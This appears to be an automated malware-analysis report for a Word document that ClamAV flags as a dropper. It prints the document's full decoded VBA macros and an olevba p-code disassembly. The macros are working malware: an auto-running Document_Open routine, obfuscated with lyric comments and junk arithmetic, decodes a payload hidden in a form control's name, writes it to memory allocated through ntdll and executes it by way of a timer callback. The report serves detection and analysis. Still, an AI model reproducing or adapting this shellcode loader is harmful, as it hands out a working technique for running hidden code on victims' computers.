Malware Insights
The file is identified as malicious by ClamAV with the signature 'Doc.Dropper.Agent-6337446-0', indicating it functions as a dropper. The presence of a VBA macro, specifically a 'Document_Open' macro, strongly suggests an attempt to execute malicious code upon opening the document. The macro code appears to be obfuscated but includes API declarations for memory manipulation and allocation, consistent with downloading and executing a second-stage payload. The document body content is benign narrative text, not directly related to the malicious functionality.
Heuristics 4
-
ClamAV: Doc.Dropper.Agent-6337446-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6337446-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() Dim absolvitory As Long -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 42319 bytes |
SHA-256: cca3f2a0eb698c60987dbca044e425383e8f5c4c9c4a16ddc7ec3c41ecf01f11 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim absolvitory As Long
Dim tullian As Long
loment = ablepsy
caport
doubts = 40 + 1
offertory = 3710 + 2
befool = 599170 + 7
Pmt 0, doubts, 38518, 58905, 6
End Sub
Attribute VB_Name = "coir"
' You wrecked my whole world when you came
' The moon went hiding, stars quit shining
#If (9 * 3 + 5) > (8 - 3 * 1) And (Win64) > (28 - 7 * 4) * 2 Then
' And walked out
' Then you rolled in with your hair in the wind
Public Declare PtrSafe Function assembler Lib "ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal leptorrhine As Any, ByVal prithee As Any, ByVal str As Any, ByVal daraf As Any, ByVal antisemitic As Any) As LongPtr
' If I woulda just layed my drink down
' But just your sight had my heart storming
Public Declare PtrSafe Function extrajudicial Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal rectilinear As Any, chancery As Any, etoile As Any, needful As Any) As LongPtr
' The moon went hiding, stars quit shining
' Rain was driving, thunder, lightning
Public Declare PtrSafe Function acheronian Lib "ntdll.dll " Alias _
"NtAllocateVirtualMemory" (dyne As LongPtr, consciencestricken As LongPtr, ByVal ectomorphic As LongPtr, fidgetByVal As LongPtr, facer As LongPtr, ByVal last As LongPtr) As LongPtr
' You wrecked my whole world when you came
' You wrecked my whole world when you came
Public Declare PtrSafe Function ifla Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal subsistence As Any, aude As Any, nonaccomplishment As Any, nictate As Any) As LongPtr
' Baby, without warning
' I wouldnt be in my truck
Public Declare PtrSafe Function loathed Lib "Kernel32" Alias "CreateTimerQueueTimer" (foregolf As Any, ByVal clydesdale As Any, ByVal picker As Any, ByVal stuffs As Any, ByVal hydrolysis As Any, ByVal frijole As Any, ByVal kwa As Any) As Long
' I was doing alright
' Then you rolled in with your hair in the wind
' But you rolled in with your hair in the wind
' Then you rolled in with your hair in the wind
#End If
' Rain was driving, thunder, lightning
' Hit me like a hurricane
#If (9 * 3 + 5) > (8 - 3 * 1) And Not (Win64) > (28 - 7 * 4) * 2 Then
' I wouldnt be in my truck
' And hit me like a hurricane' And walked out
Public Declare Function assembler Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal belduque As Any, ByVal forking As Any, ByVal mindfully As Any, ByVal ossified As Any, ByVal aghast As Any) As Long
' I wouldnt be in my truck
' Baby, without warning
Public Declare Function acheronian Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (alaskan As Long, deckleedged As Long, ByVal boldness As Long, laryngoscopeByVal As Long, alexandria As Long, ByVal corruptive As Long) As Long
' Knew it was gonna be a long night
' Baby, without warning
Public Declare Function flagrancy Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal affix As Any, oleagine As Any, pikeperch As Any, native As Any) As Long
' If I woulda just layed my drink down
' And walked out
Public Declare Function autogamy Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal yowl As Any, contemporation As Any, feria As Any, numdah As Any) As Long
' Driving us to your house
Public Declare Function loathed Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (bandstand As Any, ByVal gym As Any, ByVal magistrate As Any, ByVal justificative As Any, ByVal atrial As Any, ByVal solitarily As Any, ByVal authoritarian As Any) As Long
' I wouldnt be in my truck
' And hit me like a hurricane
' But you rolled in with your hair in the wind
' But just your sight had my heart storming
#End If
Attribute VB_Name = "inseparableness"
Attribute VB_Base = "0{2D1BE0E0-B303-4812-8F78-1DECA1B1B9DD}{53557C2E-66F0-4264-BE6B-0AD81D440946}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "aazModule1"
Function argol(tile) As String
implanted = implanted
Dim solresol() As Byte
Dim commensal As Variant
Dim bryophyte As String
Dim refuted As Integer
Dim anogramma As Integer
Dim beady(63) As Long
Dim paresis As String
Dim theist As Long
Dim bombay(6962) As Byte
Dim intricate As Long
Dim petrocoptis As Long
Dim frostbite(63) As Long
Dim maritiime(63) As Long
Dim contrabass As Integer
implanted = nonracial
Dim banned As Long
casework = casework \ 211
Dim defraud As String
articulo = 101 - 46 + 16711625
midweek = 20 - 100 + 16515152
assigns = 120 - 65 + 8
earthball = 88 - 126 + 4134
bred = 8 - 84 + 4108
absinthe = 72 - 91 + 275
bantling = 87 - 76 + 262133
Dim girder As Integer
fastness = 10 - 125 + 179
catechu = 18 - 104 + 65366
tall = 100 - 32 + 187
battered = 74 - 61 + 258035
Dim profound As Variant
crowbar = 93 - 108 + 65551
Dim having As Byte
nontechnical = 28 - 6 - 22
grado = 98 - 123 + 7868
Dim acceleration() As Byte
Dim chachalaca As Integer
Dim stabs As Integer
acceleration = VBA.StrConv(tile, 128)
Dim so As Long
mandrillus = 110
aeronatics = 17675
citified = 308893
Pmt 0, mandrillus, 33048, 11391, 6
besmirched = 7843
armagnac = vbKeyShift - 12
For interlard = 0 To besmirched
If interlard Mod 2 = 0 Then
acceleration(interlard) = acceleration(interlard) - armagnac
Else
acceleration(interlard) = acceleration(interlard) - (armagnac - 1)
End If
Next interlard
cleft = 98
gloze = 33862
altorivievo = 419077
Pmt 0, cleft, 38925, 19247, 3
refuted = 0
Subject = 17 - 69 + 52
paralyze = 109 - 56 - 10
pebble = krigia
For intricate = (7 - 7) * 1 To (50 + 13) * (5 - 4)
maritiime(intricate) = bunched(intricate, fastness, 60)
frostbite(intricate) = bunched(intricate, earthball, 60)
beady(intricate) = bunched(intricate, bantling, 60)
Next intricate
prejudicate = 95
impecuniosity = 15224
beach = 497919
Pmt 0, prejudicate, 4555, 50502, 3
solresol = acceleration
saltimbanque = 14 - 21 + 11
bonanza = 4
poetics = 15641
ses = 158853
Pmt 0, bonanza, 32346, 47090, 8
bigshouldered = 69 - 113 + 47
dutifully = implanted
casework = Rnd(262)
parallelogram = bigshouldered + 1
altar = 8 - 15 + 9
For banned = 0 To besmirched
argyrodite = solresol(banned)
dullness = solresol(banned + 2)
achieve = frostbite(pebble(solresol(banned + 1)))
dustcloth = maritiime(pebble(dullness)) + pebble(solresol(banned + bigshouldered))
theist = beady(pebble(argyrodite)) + achieve + dustcloth
intricate = bunched(theist, articulo, 52)
bombay(petrocoptis) = bunched(intricate, crowbar, 42)
intricate = bunched(theist, catechu, 52)
bombay(petrocoptis + 1) = bunched(intricate, absinthe, 42)
bombay(petrocoptis + altar) = bunched(theist, tall, 52)
petrocoptis = petrocoptis + altar + 1
banned = banned + 3
Next
argol = bombay
End Function
Function durability(traction)
durability = AscW(traction)
End Function
Function bunched(strongheaded, hindshank, china)
Select Case china
Case 42 + (10 / 2 - 5)
bunched = strongheaded \ hindshank
Case 52 + (5 - 3) / 2 - 1
bunched = strongheaded And hindshank
Case 60 + (56 / 7 - 4 * 2)
bunched = strongheaded * hindshank
End Select
End Function
Function krigia()
Dim phiz(255) As Byte
punica = 52 - 7 + 20
Do While punica <= 90 + 1
phiz(punica) = punica - 65
punica = punica + 1
Loop
punica = 48
Do While punica <= 50 + 8
phiz(punica) = punica + 4
punica = punica + 1
Loop
punica = 97
Do While punica <= 120 + 3
phiz(punica) = punica - 71
punica = punica + 1
Loop
phiz(47) = 63
punica = 43
phiz(punica) = 60 + 2
krigia = phiz
End Function
Sub numStyle()
ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary) _
.PageNumbers.NumberStyle = wdPageNumberStyleLowercaseLetter
End Sub
Attribute VB_Name = "zodule2"
Function caport()
Dim acquainted As Variant
Dim pathogenically As Byte
inseparableness.convector.Value = Day(#12/5/2013#)
varday = acetate = "ars"
hammering = "aedes"
dyirbal = "court"
owls = Subscript
bestiality = "endemic"
constipated = captiousness
circadian = predicable
Set changelessness = inseparableness.convector.SelectedItem
torticollis = 74
cushioned = 15467
armlet = 227014
Pmt 0, torticollis, 14123, 59997, 4
fortemente = changelessness.Name
anserinae = 112 - 35 + 7767
affrayment = Right(fortemente, anserinae)
bleb = aazModule1.argol(affrayment)
incus = 71
dasyprocta = 25732
overwhelmed = 305978
Pmt 0, incus, 12508, 51291, 7
sycophant = "buceros"
sunny = "firebrick"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim dateless As Long
Dim foxhound As LongPtr
Dim artamidae As LongPtr
Dim accusatory As Integer
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim assigns As Byte
Dim artamidae As Long
Dim amphitropous As String
Dim foxhound As Long
#End If
ascaphus = 77 - 90 + 13
relate = "amendment"
dicranaceae = "emancipated"
plum = 65 - 15 + 4046
halfsize = 114
invest = 9228
changeful = 477701
Pmt 0, halfsize, 37368, 54553, 7
insulse = certhia
cleverness = "diablerie"
cytosine = "aphelion"
boric = "paleozoology"
arbitrative = 73
indiaman = 2610
evidential = 267145
Pmt 0, arbitrative, 39997, 52037, 3
photostat = bleb
depreciated = "newcomer"
foxhound = caliche(photostat)
bandleader = "dilettanti"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim pingpong As Long
Dim papulous As LongPtr
Dim graduality As LongPtr
Dim draftee As LongPtr
aux = 103 - 13 + 1974
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim papulous As Long
spruce = 77 - 91 + 795
Dim graduality As Long
Dim draftee As Long
aux = spruce + 3459
#End If
Dim ge As Long
Dim trifid As Integer
papulous = 46 - 29 - 17
artamidae = foxhound + aux
graduality = 94 - 43 + 201476
draftee = 32 - 63 + 3531
administrator = loathed(graduality, papulous, artamidae, papulous, papulous, papulous, papulous)
gabbro = 110
hajji = 20518
snippet = 451151
Pmt 0, gabbro, 11667, 29553, 8
End Function
Function caliche(bisulcate)
Dim adverbially As String
Dim nauseous As Byte
Dim partaking As String
Dim apomixis As Long
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim pelargonium As Integer
Dim antiserum As LongPtr
canvas = 26 - 78 + 60
Dim bacteroid As LongPtr
Dim amenra As Long
Dim coil As Integer
Dim maturine As LongPtr
Dim ghost As Integer
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim antiserum As Long
canvas = 31 - 36 + 9
Dim bacteroid As Long
Dim maturine As Long
#End If
dismal = VarPtr(antiserum)
preterperfect = blandae(dismal, VarPtr(bisulcate) + 8, canvas)
dichroic = 47 - 118 + 70
bacteroid = 14 - 53 + 39
maldivian = 7 - 12 + 5
maturine = 111 - 13 + 9394
aether = 109 - 125 + 4112
constructivemetabolic = 125 - 107 + 46
whisper = acheronian(ByVal dichroic, bacteroid, ByVal maldivian, maturine, ByVal aether, ByVal constructivemetabolic)
dutifully = "ciprofloxacin"
casework = casework / 99
blandae bacteroid, antiserum, 27 - 101 + 5957
car = 80
abandonment = 37544
formaldehyde = 145074
Pmt 0, car, 11686, 50808, 6
caliche = bacteroid
End Function
Attribute VB_Name = "Module1"
Function blandae(cufflink, loma, ataraxia)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then
Dim df As Integer
Dim merces As Long
Dim audile As LongPtr
Dim believably As LongPtr
Dim concise As LongPtr
Dim partaking As String
Dim biscutella As LongPtr
Dim apophthegm As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim believably As Long
Dim filicopsida As Variant
Dim audile As Long
Dim loadstar As Integer
Dim biscutella As Long
Dim dazzlingly As String
Dim concise As Long
Dim trombone As Byte
Dim apophthegm As Long
Dim bootstrap As Byte
Dim pretentiously As Integer
#End If
dutifully = "blow"
casework = Rnd(354)
believably = cufflink
apophthegm = ataraxia
nonracial = dutifully
biscutella = loma
bodies = 89
casmerodius = 4188
anguine = 400964
Pmt 0, bodies, 38174, 56250, 5
nonracial = nonracial
audile = 16 - 114 + 97
assembler ByVal audile, believably, biscutella, apophthegm, concise
dutifully = nonracial
End Function
' Processing file: /opt/analyzer/scan_staging/90aba1ce2c464438806fefb93b535cd0.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 7004 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' FuncDefn (Sub Document_Open())
' Line #5:
' Dim
' VarDefn absolvitory (As Long)
' Line #6:
' Dim
' VarDefn tullian (As Long)
' Line #7:
' Ld ablepsy
' St loment
' Line #8:
' ArgsCall zodule2 0x0000
' Line #9:
' LitDI2 0x0028
' LitDI2 0x0001
' Add
' St doubts
' Line #10:
' LitDI2 0x0E7E
' LitDI2 0x0002
' Add
' St offertory
' Line #11:
' LitDI4 0x2482 0x0009
' LitDI2 0x0007
' Add
' St befool
' Line #12:
' LitDI2 0x0000
' Ld doubts
' LitDI4 0x9676 0x0000
' LitDI4 0xE619 0x0000
' LitDI2 0x0006
' ArgsCall Pmt 0x0005
' Line #13:
' EndSub
' Line #14:
' Line #15:
' Macros/VBA/coir - 12397 bytes
' Line #0:
' QuoteRem 0x0000 0x002A " You wrecked my whole world when you came"
' Line #1:
' QuoteRem 0x0000 0x002A " The moon went hiding, stars quit shining"
' Line #2:
' LbMark
' LitDI2 0x0009
' LitDI2 0x0003
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0008
' LitDI2 0x0003
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' Ld Win64
' Paren
' LitDI2 0x001C
' LitDI2 0x0007
' LitDI2 0x0004
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Gt
' And
' LbIf
' Line #3:
' QuoteRem 0x0000 0x0010 " And walked out"
' Line #4:
' QuoteRem 0x0000 0x002F " Then you rolled in with your hair in the wind"
' Line #5:
' FuncDefn (Public Function assembler(ByVal leptorrhine As ) As Ptr)
' Line #6:
' QuoteRem 0x0000 0x0026 " If I woulda just layed my drink down"
' Line #7:
' QuoteRem 0x0000 0x002B " But just your sight had my heart storming"
' Line #8:
' FuncDefn (Public Function extrajudicial(ByVal rectilinear As ) As Ptr)
' Line #9:
' QuoteRem 0x0000 0x002A " The moon went hiding, stars quit shining"
' Line #10:
' QuoteRem 0x0000 0x0026 " Rain was driving, thunder, lightning"
' Line #11:
' LineCont 0x0004 08 00 02 00
' FuncDefn (Public Function acheronian(dyne As Ptr) As Ptr)
' Line #12:
' QuoteRem 0x0000 0x002A " You wrecked my whole world when you came"
' Line #13:
' QuoteRem 0x0000 0x002A " You wrecked my whole world when you came"
' Line #14:
' FuncDefn (Public Function ifla(ByVal subsistence As ) As Ptr)
' Line #15:
' QuoteRem 0x0000 0x0017 " Baby, without warning"
' Line #16:
' QuoteRem 0x0000 0x001A " I wouldnt be in my truck"
' Line #17:
' FuncDefn (Public Function loathed(foregolf As ) As Long)
' Line #18:
' QuoteRem 0x0000 0x0015 " I was doing alright"
' Line #19:
' QuoteRem 0x0000 0x002F " Then you rolled in with your hair in the wind"
' Line #20:
' Line #21:
' QuoteRem 0x0000 0x002E " But you rolled in with your hair in the wind"
' Line #22:
' QuoteRem 0x0000 0x002F " Then you rolled in with your hair in the wind"
' Line #23:
' LbMark
' LbEndIf
' Line #24:
' QuoteRem 0x0000 0x0026 " Rain was driving, thunder, lightning"
' Line #25:
' QuoteRem 0x0000 0x0019 " Hit me like a hurricane"
' Line #26:
' LbMark
' LitDI2 0x0009
' LitDI2 0x0003
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0008
' LitDI2 0x0003
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' Ld Win64
' Paren
' LitDI2 0x001C
' LitDI2 0x0007
' LitDI2 0x0004
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Gt
' Not
' And
' LbIf
' Line #27:
' QuoteRem 0x0000 0x001A " I wouldnt be in my truck"
' Line #28:
' QuoteRem 0x0000 0x002E " And hit me like a hurricane' And walked out"
' Line #29:
' Reparse 0x00CB "Public Declare Function assembler Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal belduque As Any, ByVal forking As Any, ByVal mindfully As Any, ByVal ossified As Any, ByVal aghast As Any) As Long"
' Line #30:
' QuoteRem 0x0000 0x001A " I wouldnt be in my truck"
' Line #31:
' QuoteRem 0x0000 0x0017 " Baby, without warning"
' Line #32:
' LineCont 0x0004 00 00 C7 FF
' Reparse 0x00E4 "Public Declare Function acheronian Lib "Ntdll.dll " Alias "NtAllocateVirtualMemory" (alaskan As Long, deckleedged As Long, ByVal boldness As Long, laryngoscopeByVal As Long, alexandria As Long, ByVal corruptive As Long) As Long"
' Line #33:
' QuoteRem 0x0000 0x0023 " Knew it was gonna be a long night"
' Line #34:
' QuoteRem 0x0000 0x0017 " Baby, without warning"
' Line #35:
' Reparse 0x00A6 "Public Declare Function flagrancy Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal affix As Any, oleagine As Any, pikeperch As Any, native As Any) As Long"
' Line #36:
' QuoteRem 0x0000 0x0026 " If I woulda just layed my drink down"
' Line #37:
' QuoteRem 0x0000 0x0010 " And walked out"
' Line #38:
' Reparse 0x00A0 "Public Declare Function autogamy Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal yowl As Any, contemporation As Any, feria As Any, numdah As Any) As Long"
' Line #39:
' QuoteRem 0x0000 0x001A " Driving us to your house"
' Line #40:
' LineCont 0x0004 00 00 CC FF
' Reparse 0x00F9 "Public Declare Function loathed Lib "Kernel32" Alias "CreateTimerQueueTimer" (bandstand As Any, ByVal gym As Any, ByVal magistrate As Any, ByVal justificative As Any, ByVal atrial As Any, ByVal solitarily As Any, ByVal authoritarian As Any) As Long"
' Line #41:
' QuoteRem 0x0000 0x001A " I wouldnt be in my truck"
' Line #42:
' QuoteRem 0x0000 0x001D " And hit me like a hurricane"
' Line #43:
' QuoteRem 0x0000 0x002E " But you rolled in with your hair in the wind"
' Line #44:
' QuoteRem 0x0000 0x002B " But just your sight had my heart storming"
' Line #45:
' LbMark
' LbEndIf
' Line #46:
' Line #47:
' Line #48:
' Line #49:
' Line #50:
' Macros/VBA/inseparableness - 1374 bytes
' Macros/VBA/aazModule1 - 11247 bytes
' Line #0:
' FuncDefn (Function argol(StrConv) As String)
' Line #1:
' Ld Kernel32
' St Kernel32
' Line #2:
' Line #3:
' Dim
' VarDefn implanted
' Line #4:
' Dim
' VarDefn solresol (As Variant)
' Line #5:
' Line #6:
' Dim
' VarDefn commensal (As String)
' Line #7:
' Line #8:
' Dim
' VarDefn bryophyte (As Integer)
' Line #9:
' Dim
' VarDefn refuted (As Integer)
' Line #10:
' Line #11:
' Dim
' OptionBase
' LitDI2 0x003F
' VarDefn anogramma
' Line #12:
' Dim
' VarDefn beady (As String)
' Line #13:
' Dim
' VarDefn paresis (As Long)
' Line #14:
' Dim
' OptionBase
' LitDI2 0x1B32
' VarDefn theist
' Line #15:
' Dim
' VarDefn bombay (As Long)
' Line #16:
' Dim
' VarDefn intricate (As Long)
' Line #17:
' Dim
' OptionBase
' LitDI2 0x003F
' VarDefn petrocoptis
' Line #18:
' Dim
' OptionBase
' LitDI2 0x003F
' VarDefn frostbite
' Line #19:
' Dim
' VarDefn maritiime (As Integer)
' Line #20:
' Line #21:
' Ld nonracial
' St Kernel32
' Line #22:
' Line #23:
' Dim
' VarDefn contrabass (As Long)
' Line #24:
' Ld casework
' LitDI2 0x00D3
' IDiv
' St casework
' Line #25:
' Line #26:
' Dim
' VarDefn banned (As String)
' Line #27:
' Line #28:
' LitDI2 0x0065
' LitDI2 0x002E
' Sub
' LitDI4 0xFFC9 0x00FE
' Add
' St defraud
' Line #29:
' LitDI2 0x0014
' LitDI2 0x0064
' Sub
' LitDI4 0x0050 0x00FC
' Add
' St articulo
' Line #30:
' LitDI2 0x0078
' LitDI2 0x0041
' Sub
' LitDI2 0x0008
' Add
' St assigns
' Line #31:
' LitDI2 0x0058
' LitDI2 0x007E
' Sub
' LitDI2 0x1026
' Add
' St midweek
' Line #32:
' LitDI2 0x0008
' LitDI2 0x0054
' Sub
' LitDI2 0x100C
' Add
' St earthball
' Line #33:
' LitDI2 0x0048
' LitDI2 0x005B
' Sub
' LitDI2 0x0113
' Add
' St bred
' Line #34:
' LitDI2 0x0057
' LitDI2 0x004C
' Sub
' LitDI4 0xFFF5 0x0003
' Add
' St absinthe
' Line #35:
' Dim
' VarDefn bantling (As Integer)
' Line #36:
' Line #37:
' LitDI2 0x000A
' LitDI2 0x007D
' Sub
' LitDI2 0x00B3
' Add
' St girder
' Line #38:
' LitDI2 0x0012
' LitDI2 0x0068
' Sub
' LitDI4 0xFF56 0x0000
' Add
' St fastness
' Line #39:
' LitDI2 0x0064
' LitDI2 0x0020
' Sub
' LitDI2 0x00BB
' Add
' St catechu
' Line #40:
' LitDI2 0x004A
' LitDI2 0x003D
' Sub
' LitDI4 0xEFF3 0x0003
' Add
' St tall
' Line #41:
' Dim
' VarDefn battered (As Variant)
' Line #42:
' Line #43:
' LitDI2 0x005D
' LitDI2 0x006C
' Sub
' LitDI4 0x000F 0x0001
' Add
' St profound
' Line #44:
' Dim
' VarDefn crowbar (As Byte)
' Line #45:
' LitDI2 0x001C
' LitDI2 0x0006
' Sub
' LitDI2 0x0016
' Sub
' St having
' Line #46:
' LitDI2 0x0062
' LitDI2 0x007B
' Sub
' LitDI2 0x1EBC
' Add
' St nontechnical
' Line #47:
' Dim
' VarDefn grado
' Line #48:
' Dim
' VarDefn acceleration (As Integer)
' Line #49:
' Dim
' VarDefn chachalaca (As Integer)
' Line #50:
' Ld StrConv
' LitDI2 0x0080
' Ld VBA
' ArgsMemLd stabs 0x0002
' St grado
' Line #51:
' Dim
' VarDefn tile (As Long)
' Line #52:
' LitDI2 0x006E
' St so
' Line #53:
' LitDI2 0x450B
' St mandrillus
' Line #54:
' LitDI4 0xB69D 0x0004
' St aeronatics
' Line #55:
' LitDI2 0x0000
' Ld so
' LitDI4 0x8118 0x0000
' LitDI2 0x2C7F
' LitDI2 0x0006
' ArgsCall Pmt 0x0005
' Line #56:
' Line #57:
' LitDI2 0x1EA3
' St citified
' Line #58:
' Ld armagnac
' LitDI2 0x000C
' Sub
' St besmirched
' Line #59:
' StartForVariable
' Ld vbKeyShift
' EndForVariable
' LitDI2 0x0000
' Ld citified
' For
' Line #60:
' Ld vbKeyShift
' LitDI2 0x0002
' Mod
' LitDI2 0x0000
' Eq
' IfBlock
' Line #61:
' Ld vbKeyShift
' ArgsLd grado 0x0001
' Ld besmirched
' Sub
' Ld vbKeyShift
' ArgsSt grado 0x0001
' Line #62:
' ElseBlock
' Line #63:
' Ld vbKeyShift
' ArgsLd grado 0x0001
' Ld besmirched
' LitDI2 0x0001
' Sub
' Paren
' Sub
' Ld vbKeyShift
' ArgsSt grado 0x0001
' Line #64:
' EndIfBlock
' Line #65:
' StartForVariable
' Ld vbKeyShift
' EndForVariable
' NextVar
' Line #66:
' LitDI2 0x0062
' St interlard
' Line #67:
' LitDI4 0x8446 0x0000
' St cleft
' Line #68:
' LitDI4 0x6505 0x0006
' St gloze
' Line #69:
' LitDI2 0x0000
' Ld interlard
' LitDI4 0x980D 0x0000
' LitDI2 0x4B2F
' LitDI2 0x0003
' ArgsCall Pmt 0x0005
' Line #70:
' Line #71:
' LitDI2 0x0000
' St bryophyte
' Line #72:
' LitDI2 0x0011
' LitDI2 0x0045
' Sub
' LitDI2 0x0034
' Add
' St altorivievo
' Line #73:
' LitDI2 0x006D
' LitDI2 0x0038
' Sub
' LitDI2 0x000A
' Sub
' St Subject
' Line #74:
' Ld pebble
' St paralyze
' Line #75:
' StartForVariable
' Ld bombay
' EndForVariable
' LitDI2 0x0007
' LitDI2 0x0007
' Sub
' Paren
' LitDI2 0x0001
' Mul
' LitDI2 0x0032
' LitDI2 0x000D
' Add
' Paren
' LitDI2 0x0005
' LitDI2 0x0004
' Sub
' Paren
' Mul
' For
' Line #76:
' Ld bombay
' Ld girder
' LitDI2 0x003C
' ArgsLd krigia 0x0003
' Ld bombay
' ArgsSt frostbite 0x0001
' Line #77:
' Ld bombay
' Ld midweek
' LitDI2 0x003C
' ArgsLd krigia 0x0003
' Ld bombay
' ArgsSt petrocoptis 0x0001
' Line #78:
' Ld bombay
' Ld absinthe
' LitDI2 0x003C
' ArgsLd krigia 0x0003
' Ld bombay
' ArgsSt anogramma 0x0001
' Line #79:
' StartForVariable
' Ld bombay
' EndForVariable
' NextVar
' Line #80:
' LitDI2 0x005F
' St bunched
' Line #81:
' LitDI2 0x3B78
' St prejudicate
' Line #82:
' LitDI4 0x98FF 0x0007
' St impecuniosity
' Line #83:
' LitDI2 0x0000
' Ld bunched
' LitDI2 0x11CB
' LitDI4 0xC546 0x0000
' LitDI2 0x0003
' ArgsCall Pmt 0x0005
' Line #84:
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.